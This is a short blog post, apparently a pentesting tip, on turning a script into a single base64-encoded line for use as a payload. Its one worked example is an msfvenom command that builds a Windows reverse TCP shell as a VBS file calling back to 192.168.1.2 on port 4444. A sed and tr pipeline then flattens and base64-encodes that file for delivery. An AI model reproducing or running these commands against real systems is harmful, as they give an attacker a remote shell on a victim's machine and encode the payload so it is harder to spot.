Full Script to oneliner to base64



Some examples how to convert a script to be on one line (so that it may be passed as a payload etc.)

VBS

msfvenom -a x86 –platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f vbs -o m.vbs
cat m.vbs | sed ‘:a;N;$!ba;s/_\n//g’ | tr -d ‘\t’ | tr ‘\n’ ‘:’ | sed ‘s/::/:/g’ | tr -d ‘\r’ | base64 -w0

More is coming..

Leave a Reply

Your email address will not be published. Required fields are marked *